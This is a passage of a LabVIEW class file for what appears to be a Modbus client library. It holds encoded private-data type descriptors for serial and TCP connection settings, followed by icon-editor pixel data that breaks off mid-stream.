amp;A!#!V*5616\"5U.*31!%&lt;7^E:1!!$U!(!!FC986E)(*B&gt;'5!&amp;%\"1!!-!\"!!&amp;!!9'=W6S;7&amp;M!!!31(!!\"1JD&lt;WZO:7.U;7^O!!!61!9!$H2S97ZT97.U;7^O)'FE!!!/1&amp;!!!A!)!!E$6%.1!&amp;1!]&gt;TS/&amp;)!!!!#$EVP:'*V=SZM&gt;G.M98.T#EVP:'*V=SZD&gt;'Q!-E\"1!!5!!!!\"!!)!\"Q!+(5.M&gt;8.U:8)A&lt;W9A9WRB=X-A=(*J&gt;G&amp;U:3\"E982B!!%!#Q!!!!I!!!!!!!!!!1!!!!)!!!!$!!!!\"!!!!!5!!!!'!!!!\"Q!!!!D`````!!!\"!!!\",!!!!!!!!!!!*9!!!!!!!!!!!!!!!!%/4'&amp;C6EF&amp;6S\"09GJF9X1!5&amp;2)-!!!!!!!!!!!!\"5!A!!!!!!!!!!!!!!!!!!\"!!!!!!!'!Q!!!!Y!'5!7!!)'=W6S;7&amp;M!V2$5!!!\"'VP:'5!!!V!\"1!(972E=G6T=Q!.1!=!\"X2J&lt;76P&gt;81!(A!X`````Q!%&amp;1#!!!!!!!%!\"!!!!!%!!!!!!!!!+E\"Q!!Y&amp;37ZT&gt;()!!1!$&amp;1#!!!!!!!%!\"!!!!!%!!!!!!!!%='^S&gt;!!!&amp;U!7!!)$5F26\"5&amp;41UF*!!2N&lt;W2F!!!01!=!#7*B&gt;71A=G&amp;U:1!41!9!$8\"B=GFU?3!I&lt;G^O:3E!'5!'!\".G&lt;'^X)'.P&lt;H2S&lt;WQA+'ZP&lt;G5J!\"B!5!!&amp;!!1!\"1!'!!=!#!:T:8*J97Q!!\"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!\"6!\"A!/&gt;(*B&lt;H.B9X2J&lt;WYA;71!!!Z!5!!#!!I!#Q.51V!!6!$RX8T#DA!!!!)/47^E9H6T,GRW9WRB=X-+47^E9H6T,G.U&lt;!!S1&amp;!!\"1!!!!%!!A!*!!Q&gt;1WRV=X2F=C\"P:C\"D&lt;'&amp;T=S\"Q=GFW982F)'2B&gt;'%!!1!.!!!!$!!!!!!!!!!\"!!!!!A!!!!-!!!!%!!!!\"1!!!!&lt;``````````Q!!!!=!!!!)!!!!#1!!!1!!!3Q!!!!!!!!!!#7!!!!!!!!!!!!!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!\"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!=$!!!!%!!:1\"9!!A:T:8*J97Q$6%.1!!!%&lt;7^E:1!!$5!&amp;!!&gt;B:'2S:8.T!!V!\"Q!(&gt;'FN:7^V&gt;!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!\"!!-6!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!81\"9!!A.36&amp;5&amp;16.$35E!\"'VP:'5!!!^!\"Q!*9G&amp;V:#\"S982F!!V!\"A!'='&amp;S;82Z!!!41!9!$':M&lt;X=A9W^O&gt;(*P&lt;!!!'%\"1!!5!\"!!&amp;!!9!\"Q!)\"H.F=GFB&lt;!!!%E\"Q!!5+9W^O&lt;G6D&gt;'FP&lt;A!!%%!Q`````Q&gt;B:'2S:8.T!\"&amp;!\"A!+='^S&gt;#!I.4!S+1!!&amp;5!'!!ZU=G&amp;O=W&amp;D&gt;'FP&lt;C\"J:!!!%E\"1!!1!#A!,!!Q!$1.51V!!6!$RX8T&amp;;1!!!!)/47^E9H6T,GRW9WRB=X-+47^E9H6T,G.U&lt;!!S1&amp;!!\"1!!!!%!!A!*!!Y&gt;1WRV=X2F=C\"P:C\"D&lt;'&amp;T=S\"Q=GFW982F)'2B&gt;'%!!1!0!!!!$A!!!!!!!!!\"!!!!!A!!!!-!!!!%!!!!\"1!!!!9!!!!(!!!!#!!!!!E!!!!+``````````]!!!!,!!!\"!!!\",!!!!!!!!!!!*9!!!!!!!!!!!!!!!!!\"^A!!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!\"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!A$!!!!%!!&gt;1\"9!!Q:T:8*J97Q$6%.1\"'V%4F-!\"'VP:'5!!!V!\"1!(972E=G6T=Q!.1!=!\"X2J&lt;76P&gt;81!(A!X`````Q!%&amp;1#!!!!!!!%!\"!!!!!%!!!!!!!!!+E\"Q!!Y&amp;37ZT&gt;()!!1!$&amp;1#!!!!!!!%!\"!!!!!%!!!!!!!!%='^S&gt;!!!&amp;U!7!!)$5F26\"5&amp;41UF*!!2N&lt;W2F!!!01!=!#7*B&gt;71A=G&amp;U:1!.1!9!\"H\"B=GFU?1!!%U!'!!RG&lt;'^X)'.P&lt;H2S&lt;WQ!!\"B!5!!&amp;!!1!\"1!'!!=!#!:T:8*J97Q!!\"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!\"\"!-0````](972E=G6T=Q!21!9!#H\"P=H1A+$5Q-CE!!\"6!\"A!/&gt;(*B&lt;H.B9X2J&lt;WYA;71!!\"*!5!!%!!I!#Q!-!!U$6%.1!&amp;1!]&gt;W3T2%!!!!#$EVP:'*V=SZM&gt;G.M98.T#EVP:'*V=SZD&gt;'Q!-E\"1!!5!!!!\"!!)!#1!/(5.M&gt;8.U:8)A&lt;W9A9WRB=X-A=(*J&gt;G&amp;U:3\"E982B!!%!$Q!!!!Y!!!!!!!!!!1!!!!)!!!!$!!!!\"!!!!!5!!!!'!!!!\"Q!!!!A!!!!*!!!!#A!!!!M!!!!-!!!!$1!!!1!!!3Q!!!!!!!!!!#7!!!!!!!!!!!!!!!!!!@9!!!!!!!!!!!%/4'&amp;C6EF&amp;6S\"09GJF9X1!5&amp;2)-!!!!!!!!!!!!\"5!A!!!!!!!!!!!!!!!!!!\"!!!!!!!*!Q!!!\"!!(5!7!!)'=W6S;7&amp;M!V2$5!!!#7FO&gt;'6S:G&amp;D:1!.1!5!\"W&amp;E:(*F=X-!$5!(!!&gt;U;7VF&lt;X6U!\"Y!.`````]!\"\"5!A!!!!!!\"!!1!!!!\"!!!!!!!!!#J!=!!/\"5FO=X2S!!%!!R5!A!!!!!!\"!!1!!!!\"!!!!!!!!\"(\"P=H1!!\"&gt;!&amp;A!#!V*5616\"5U.*31!%&lt;7^E:1!!$U!(!!FC986E)(*B&gt;'5!$5!'!!:Q98*J&gt;(E!!\".!\"A!-:GRP&gt;S\"D&lt;WZU=G^M!!!91&amp;!!\"1!%!!5!\"A!(!!A'=W6S;7&amp;M!!!31(!!\"1JD&lt;WZO:7.U;7^O!!!C1$$`````''&amp;E:(*F=X-P=W6S&gt;GFD:3\"J&lt;H.U97ZD:1!!%5!'!!JQ&lt;X*U)#AV-$)J!!!61!9!$H2S97ZT97.U;7^O)'FE!!!31&amp;!!\"!!+!!M!$!!.!V2$5!\"5!0(&gt;EM[[!!!!!AZ.&lt;W2C&gt;8-O&lt;(:D&lt;'&amp;T=QJ.&lt;W2C&gt;8-O9X2M!$*!5!!&amp;!!!!!1!#!!E!$BV$&lt;(6T&gt;'6S)'^G)'.M98.T)(\"S;8:B&gt;'5A:'&amp;U91!\"!!]!!!!/!!!!!!!!!!%!!!!#!!!!!Q!!!!1!!!!&amp;!!!!\"A!!!!=!!!!)!!!!#1!!!!I!!!!,!!!!$!!!!!U!!!%!!!%M!!!!!!!!!!!FA!!!!!!!!!!!!!!!!!(W!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!\"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!I$!!!!%A!&gt;1\"9!!A:T:8*J97Q$6%.1!!!*;7ZU:8*G97.F!!V!\"1!(972E=G6T=Q!.1!=!\"X2J&lt;76P&gt;81!(A!X`````Q!%&amp;1#!!!!!!!%!\"!!!!!%!!!!!!!!!+E\"Q!!Y&amp;37ZT&gt;()!!1!$&amp;1#!!!!!!!%!\"!!!!!%!!!!!!!!%='^S&gt;!!!&amp;U!7!!)$5F26\"5&amp;41UF*!!2N&lt;W2F!!!01!=!#7*B&gt;71A=G&amp;U:1!01!9!#72B&gt;'%A9GFU=Q!.1!9!\"H\"B=GFU?1!!$U!'!!FT&gt;'^Q)'*J&gt;(-!%U!'!!RG&lt;'^X)'.P&lt;H2S&lt;WQ!!\"R!5!!(!!1!\"1!'!!=!#!!*!!I'=W6S;7&amp;M!!!31(!!\"1JD&lt;WZO:7.U;7^O!!!C1$$`````''&amp;E:(*F=X-P=W6S&gt;GFD:3\"J&lt;H.U97ZD:1!!%5!'!!JQ&lt;X*U)#AV-$)J!!!61!9!$H2S97ZT97.U;7^O)'FE!!!31&amp;!!\"!!-!!U!$A!0!V2$5!\"5!0(&gt;V/)#!!!!!AZ.&lt;W2C&gt;8-O&lt;(:D&lt;'&amp;T=QJ.&lt;W2C&gt;8-O9X2M!$*!5!!&amp;!!!!!1!#!!M!%\"V$&lt;(6T&gt;'6S)'^G)'.M98.T)(\"S;8:B&gt;'5A:'&amp;U91!\"!\"%!!!!1!!!!!!!!!!%!!!!#!!!!!Q!!!!1!!!!&amp;!!!!\"P````]!!!!(`````Q!!!!A!!!!*!!!!#A!!!!M!!!!-!!!!$1!!!1!!!3Q!!!!!!!!!!=)!!!A!!A!+!!!!!!!!!!!!!!(W!!!!!!!!!!!\"$ERB9F:*26=A4W*K:7.U!&amp;\"53$!!!!!!!!!!!!!6!)!!!!!!!!!!!!!!!!!!!1!!!!!!#Q-!!!!4!\"V!&amp;A!#\"H.F=GFB&lt;!.51V!!!!FJ&lt;H2F=G:B9W5!$5!&amp;!!&gt;B:'2S:8.T!!V!\"Q!(&gt;'FN:7^V&gt;!!/1#%*9W^O&lt;G6D&gt;'6E!\"Y!.`````]!\"\"5!A!!!!!!\"!!1!!!!\"!!!!!!!!!#J!=!!/\"5FO=X2S!!%!\"\"5!A!!!!!!\"!!1!!!!\"!!!!!!!!\"(\"P=H1!!\"&gt;!&amp;A!#!V*5616\"5U.*31!%&lt;7^E:1!!$U!(!!FC986E)(*B&gt;'5!$U!'!!FE982B)'*J&gt;(-!$5!'!!:Q98*J&gt;(E!!!^!\"A!*=X2P=#\"C;82T!\".!\"A!-:GRP&gt;S\"D&lt;WZU=G^M!!!=1&amp;!!\"Q!&amp;!!9!\"Q!)!!E!#A!,\"H.F=GFB&lt;!!!%E\"Q!!5+9W^O&lt;G6D&gt;'FP&lt;A!!%%!Q`````Q&gt;B:'2S:8.T!!N!\"A!%='^S&gt;!!!&amp;5!'!!ZU=G&amp;O=W&amp;D&gt;'FP&lt;C\"J:!!!%E\"1!!1!$1!/!!]!%!.51V!!6A$RXCG(PA!!!!)/47^E9H6T,GRW9WRB=X-+47^E9H6T,G.U&lt;!!U1&amp;!!\"A!!!!%!!A!$!!Q!%2V$&lt;(6T&gt;'6S)'^G)'.M98.T)(\"S;8:B&gt;'5A:'&amp;U91!\"!\")!!!!2!!!!!!!!!!%!!!!#`````Q!!!!-!!!!%!!!!\"1!!!!9!!!!(!!!!#!!!!!E!!!!+!!!!#Q!!!!Q!!!!.!!!!$A!!!!]!!!%!!!%M!!!!!!!!!!!\"QA!!#!!#!!I!!!!!!!!!!!!!!@9!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!\"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!!%!!!!%Q!&gt;1\"9!!A:T:8*J97Q$6%.1!!!*;7ZU:8*G97.F!!V!\"1!(972E=G6T=Q!.1!=!\"X2J&lt;76P&gt;81!$E!B#7.P&lt;GZF9X2F:!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!\"!!16!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!81\"9!!A.36&amp;5&amp;16.$35E!\"'VP:'5!!!^!\"Q!*9G&amp;V:#\"S982F!!^!\"A!*:'&amp;U93\"C;82T!!V!\"A!'='&amp;S;82Z!!!01!9!#8.U&lt;X!A9GFU=Q!41!9!$':M&lt;X=A9W^O&gt;(*P&lt;!!!(%\"1!!=!\"1!'!!=!#!!*!!I!#Q:T:8*J97Q!!\"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!\"\"!-0````](972E=G6T=Q!,1!9!\"(\"P=H1!!\"6!\"A!/&gt;(*B&lt;H.B9X2J&lt;WYA;71!!\"*!5!!%!!U!$A!0!\"!$6%.1!&amp;9!]&gt;YJB\\Y!!!!#$EVP:'*V=SZM&gt;G.M98.T#EVP:'*V=SZD&gt;'Q!.%\"1!!9!!!!\"!!)!!Q!-!\"%&gt;1WRV=X2F=C\"P:C\"D&lt;'&amp;T=S\"Q=GFW982F)'2B&gt;'%!!1!3!!!!!@````Y!!!%!!!%M!!!!!!!!!!!\"QA!!#!!#!!I!!!!!!!!!!!!!!@9!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!\"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!!&amp;!!!!%Q!&gt;1\"9!!A:T:8*J97Q$6%.1!!!*;7ZU:8*G97.F!!V!\"1!(972E=G6T=Q!.1!=!\"X2J&lt;76P&gt;81!$E!B#7.P&lt;GZF9X2F:!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!\"!!16!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!81\"9!!A.36&amp;5&amp;16.$35E!\"'VP:'5!!!^!\"Q!*9G&amp;V:#\"S982F!!^!\"A!*:'&amp;U93\"C;82T!!V!\"A!'='&amp;S;82Z!!!01!9!#8.U&lt;X!A9GFU=Q!41!9!$':M&lt;X=A9W^O&gt;(*P&lt;!!!(%\"1!!=!\"1!'!!=!#!!*!!I!#Q:T:8*J97Q!!\"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!\"\"!-0````](972E=G6T=Q!,1!9!\"(\"P=H1!!\"6!\"A!/&gt;(*B&lt;H.B9X2J&lt;WYA;71!!\"*!5!!%!!U!$A!0!\"!$6%.1!&amp;9!]&gt;YJB\\Y!!!!#$EVP:'*V=SZM&gt;G.M98.T#EVP:'*V=SZD&gt;'Q!.%\"1!!9!!!!\"!!)!!Q!-!\"%&gt;1WRV=X2F=C\"P:C\"D&lt;'&amp;T=S\"Q=GFW982F)'2B&gt;'%!!1!3!!!!!@````Y!!!%!!!%M!!!!!!!!!!!\"QA!!#!!#!!I!!!!!!!!!!!!!!@9!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!\"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!!!!!!!%Q!&gt;1\"9!!A:T:8*J97Q$6%.1!!!*;7ZU:8*G97.F!!V!\"1!(972E=G6T=Q!.1!=!\"X2J&lt;76P&gt;81!$E!B#7.P&lt;GZF9X2F:!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!\"!!16!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!81\"9!!A.36&amp;5&amp;16.$35E!\"'VP:'5!!!^!\"Q!*9G&amp;V:#\"S982F!!^!\"A!*:'&amp;U93\"C;82T!!V!\"A!'='&amp;S;82Z!!!01!9!#8.U&lt;X!A9GFU=Q!41!9!$':M&lt;X=A9W^O&gt;(*P&lt;!!!(%\"1!!=!\"1!'!!=!#!!*!!I!#Q:T:8*J97Q!!\"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!\"\"!-0````](972E=G6T=Q!,1!9!\"(\"P=H1!!\"6!\"A!/&gt;(*B&lt;H.B9X2J&lt;WYA;71!!\"*!5!!%!!U!$A!0!\"!$6%.1!&amp;9!]&gt;YJB\\Y!!!!#$EVP:'*V=SZM&gt;G.M98.T#EVP:'*V=SZD&gt;'Q!.%\"1!!9!!!!\"!!)!!Q!-!\"%&gt;1WRV=X2F=C\"P:C\"D&lt;'&amp;T=S\"Q=GFW982F)'2B&gt;'%!!1!3!!!!!@````Y!!!%!!!%M!!!!!!!!!!!\"QA!!#!!#!!I!!!!!!!!!!!!!!@9!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!\"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!%!!!!!%Q!&gt;1\"9!!A:T:8*J97Q$6%.1!!!*;7ZU:8*G97.F!!V!\"1!(972E=G6T=Q!@1\"9!!Q.36&amp;5&amp;16.$35E$6%.1!!BQ=G^U&lt;W.P&lt;!!!$5!(!!&gt;U;7VF&lt;X6U!!Z!)1FD&lt;WZO:7.U:71!(A!X`````Q!%&amp;1#!!!!!!!%!\"!!!!!%!!!!!!!!!+E\"Q!!Y&amp;37ZT&gt;()!!1!&amp;&amp;1#!!!!!!!%!\"!!!!!%!!!!!!!!%='^S&gt;!!!$U!(!!FC986E)(*B&gt;'5!$U!'!!FE982B)'*J&gt;(-!$5!'!!:Q98*J&gt;(E!!!^!\"A!*=X2P=#\"C;82T!\".!\"A!-:GRP&gt;S\"D&lt;WZU=G^M!!!;1&amp;!!\"A!'!!=!#!!*!!I!#Q:T:8*J97Q!!\"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!\"\"!-0````](972E=G6T=Q!,1!9!\"(\"P=H1!!\"6!\"A!/&gt;(*B&lt;H.B9X2J&lt;WYA;71!!\"*!5!!%!!U!$A!0!\"!$6%.1!'Q!]&gt;ZC*&lt;M!!!!#'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=R214#\".&lt;W2C&gt;8-A1WRJ:7ZU,G.U&lt;!!W1&amp;!!\"Q!!!!%!!A!$!!1!$!!2(5.M&gt;8.U:8)A&lt;W9A9WRB=X-A=(*J&gt;G&amp;U:3\"E982B!!%!%A!!!\"%!!!!!!!!!!@````]!!!!#!!!!!Q!!!!1!!!!&amp;!!!!\"Q!!!!A!!!!*!!!!#A!!!!M!!!!-!!!!$1!!!!Y!!!!0!!!!%!!!!1!!!!!\",!!!!!!!!!(#!!!)!!)!#A!!!!!!!!!!!!!\"^A!!!!!!!!!\"$ERB9F:*26=A4W*K:7.U!&amp;\"53$!!!!!!!!!!!!!6!)!!!!!!!!!!!!!!!!!!!1!!!!!!!A!!!!!4!\"V!&amp;A!#\"H.F=GFB&lt;!.51V!!!!FJ&lt;H2F=G:B9W5!(U!7!!-$5F26\"5&amp;41UF*!V2$5!!)=(*P&gt;'^D&lt;WQ!!!V!\"1!(972E=G6T=Q!.1!=!\"X2J&lt;76P&gt;81!$E!B#7.P&lt;GZF9X2F:!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!\"!!56!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!01!=!#7*B&gt;71A=G&amp;U:1!01!9!#72B&gt;'%A9GFU=Q!.1!9!\"H\"B=GFU?1!!$U!'!!FT&gt;'^Q)'*J&gt;(-!%U!'!!RG&lt;'^X)'.P&lt;H2S&lt;WQ!!\"J!5!!'!!9!\"Q!)!!E!#A!,\"H.F=GFB&lt;!!!%E\"Q!!5+9W^O&lt;G6D&gt;'FP&lt;A!!%%!Q`````Q&gt;B:'2S:8.T!!N!\"A!%='^S&gt;!!!&amp;5!'!!ZU=G&amp;O=W&amp;D&gt;'FP&lt;C\"J:!!!%E\"1!!1!$1!/!!]!%!.51V!!&lt;!$RXG)MH1!!!!)95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T&amp;&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O9X2M!$:!5!!(!!!!!1!#!!-!\"!!-!\"%&gt;1WRV=X2F=C\"P:C\"D&lt;'&amp;T=S\"Q=GFW982F)'2B&gt;'%!!1!3!!!!%1!!!!!!!!!#!!!!!1!!!!-!!!!%!!!!\"1!!!!9!!!!(!!!!#!!!!!E!!!!+!!!!#Q!!!!Q!!!!.!!!!$A!!!!]!!!!1!!!!!!%!!!%M!!!!!!!!!=)!!!A!!A!+!!!!!!!!!!!!!!(W!!!!!!!!!!%/4'&amp;C6EF&amp;6S\"09GJF9X1!5&amp;2)-!!!!!!!!!!!!\"5!A!!!!!!!!!!!!!!!!!!\"!!!!!!!$!!!!!\"-!)5!7!!)'=W6S;7&amp;M\"WZF&gt;(&gt;P=GM!!!FJ&lt;H2F=G:B9W5!(U!7!!-$5F26\"5&amp;41UF*!V2$5!!)=(*P&gt;'^D&lt;WQ!!\"6!\"1!0=X2B&gt;'FP&lt;C\"B:'2S:8.T!!V!\"Q!(&gt;'FN:7^V&gt;!!/1#%*9W^O&lt;G6D&gt;'6E!\"Y!.`````]!\"\"5!A!!!!!!\"!!1!!!!\"!!!!!!!!!#J!=!!/\"5FO=X2S!!%!\"25!A!!!!!!\"!!1!!!!\"!!!!!!!!\"(\"P=H1!!!^!\"Q!*9G&amp;V:#\"S982F!!^!\"A!*:'&amp;U93\"C;82T!!V!\"A!'='&amp;S;82Z!!!01!9!#8.U&lt;X!A9GFU=Q!41!9!$':M&lt;X=A9W^O&gt;(*P&lt;!!!'E\"1!!9!\"A!(!!A!#1!+!!M'=W6S;7&amp;M!!!31(!!\"1JD&lt;WZO:7.U;7^O!!!51$$`````#GFQ)'&amp;E:(*F=X-!!!N!\"A!%='^S&gt;!!!&amp;5!'!!ZU=G&amp;O=W&amp;D&gt;'FP&lt;C\"J:!!!%E\"1!!1!$1!/!!]!%!.51V!!&lt;!$RXG*&lt;S!!!!!)95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T&amp;&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O9X2M!$:!5!!(!!!!!1!#!!-!\"!!-!\"%&gt;1WRV=X2F=C\"P:C\"D&lt;'&amp;T=S\"Q=GFW982F)'2B&gt;'%!!1!3!!!!%@````]!!!!\"!!!!!A!!!!-!!!!%!!!!\"1!!!!9!!!!(!!!!#!!!!!E!!!!+!!!!#Q!!!!Q!!!!.!!!!$A!!!!]!!!!1!!!!!!%!!!%M!!!!!!!!!=)!!!A!!A!+!!!!!!!!!!!!!!(W!!!!!!!!!!%/4'&amp;C6EF&amp;6S\"09GJF9X1!5&amp;2)-!!!!!!!!!!!!\"5!A!!!!!!!!!!!!!!!!!!\"!!!!!!!%!!!!!\"-!)5!7!!)'=W6S;7&amp;M\"WZF&gt;(&gt;P=GM!!!FJ&lt;H2F=G:B9W5!(U!7!!-$5F26\"5&amp;41UF*!V2$5!!)=(*P&gt;'^D&lt;WQ!!\"6!\"1!0=X2B&gt;'FP&lt;C\"B:'2S:8.T!!V!\"Q!(&gt;'FN:7^V&gt;!!/1#%*9W^O&lt;G6D&gt;'6E!\"Y!.`````]!\"\"5!A!!!!!!\"!!1!!!!\"!!!!!!!!!#J!=!!/\"5FO=X2S!!%!\"25!A!!!!!!\"!!1!!!!\"!!!!!!!!\"(\"P=H1!!!^!\"Q!*9G&amp;V:#\"S982F!!^!\"A!*:'&amp;U93\"C;82T!!V!\"A!'='&amp;S;82Z!!!01!9!#8.U&lt;X!A9GFU=Q!41!9!$':M&lt;X=A9W^O&gt;(*P&lt;!!!'E\"1!!9!\"A!(!!A!#1!+!!M'=W6S;7&amp;M!!!31(!!\"1JD&lt;WZO:7.U;7^O!!!51$$`````#GFQ)'&amp;E:(*F=X-!!!N!\"A!%='^S&gt;!!!&amp;5!'!!ZU=G&amp;O=W&amp;D&gt;'FP&lt;C\"J:!!!%E\"1!!1!$1!/!!]!%!.51V!!&lt;!$RXHWI`Q!!!!)95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T&amp;&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O9X2M!$:!5!!(!!!!!1!#!!-!\"!!-!\"%&gt;1WRV=X2F=C\"P:C\"D&lt;'&amp;T=S\"Q=GFW982F)'2B&gt;'%!!1!3!!!!%1!!!!!!!!!\"!!!!!A!!!!-!!!!%!!!!\"@````]!!!!(!!!!#!!!!!E!!!!+!!!!#Q!!!!Q!!!!.!!!!$A!!!!]!!!!1!!!!!!%!!!%M!!!!!!!!!=)!!!A!!A!+!!!!!!!!!!!!!!(W!!!!!!!!!!%/4'&amp;C6EF&amp;6S\"09GJF9X1!5&amp;2)-!!!!!!!!!!!!\"5!A!!!!!!!!!!!!!!&amp;!!!!$EV02%*65SZM&gt;G.M98.T!!!!$UV02%*65T%O&lt;(:D&lt;'&amp;T=Q!!!!Z.&lt;W2C&gt;8-O&lt;(:D&lt;'&amp;T=Q!!!\"^1&lt;'&amp;T&lt;7&amp;-97)A47^E9H6T)%VB=X2F=CZM&gt;G.M98.T!!!!(V\"M98.N95RB9C\".&lt;W2C&gt;8-A1WRJ:7ZU,GRW9WRB=X-</Val>\n\n</String>\n\n</Property>\n\t<Property Name=\"NI.LVClass.IsTransferClass\" Type=\"Bool\">false</Property>\n\t<Property Name=\"NI_IconEditor\" Type=\"Str\">49 53 48 48 56 48 50 52 13 0 0 0 0 1 23 21 76 111 97 100 32 38 32 85 110 108 111 97 100 46 108 118 99 108 97 115 115 0 0 1 0 0 0 0 0 9 0 0 13 43 1 100 1 100 80 84 72 48 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 15 13 76 97 121 101 114 46 108 118 99 108 97 115 115 0 0 1 0 0 0 0 0 7 0 0 12 185 0 0 0 0 0 0 0 0 0 0 12 158 0 40 0 0 12 152 0 0 12 0 0 0 0 0 0 32 0 32 0 24 0 0 0 0 0 255 255 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 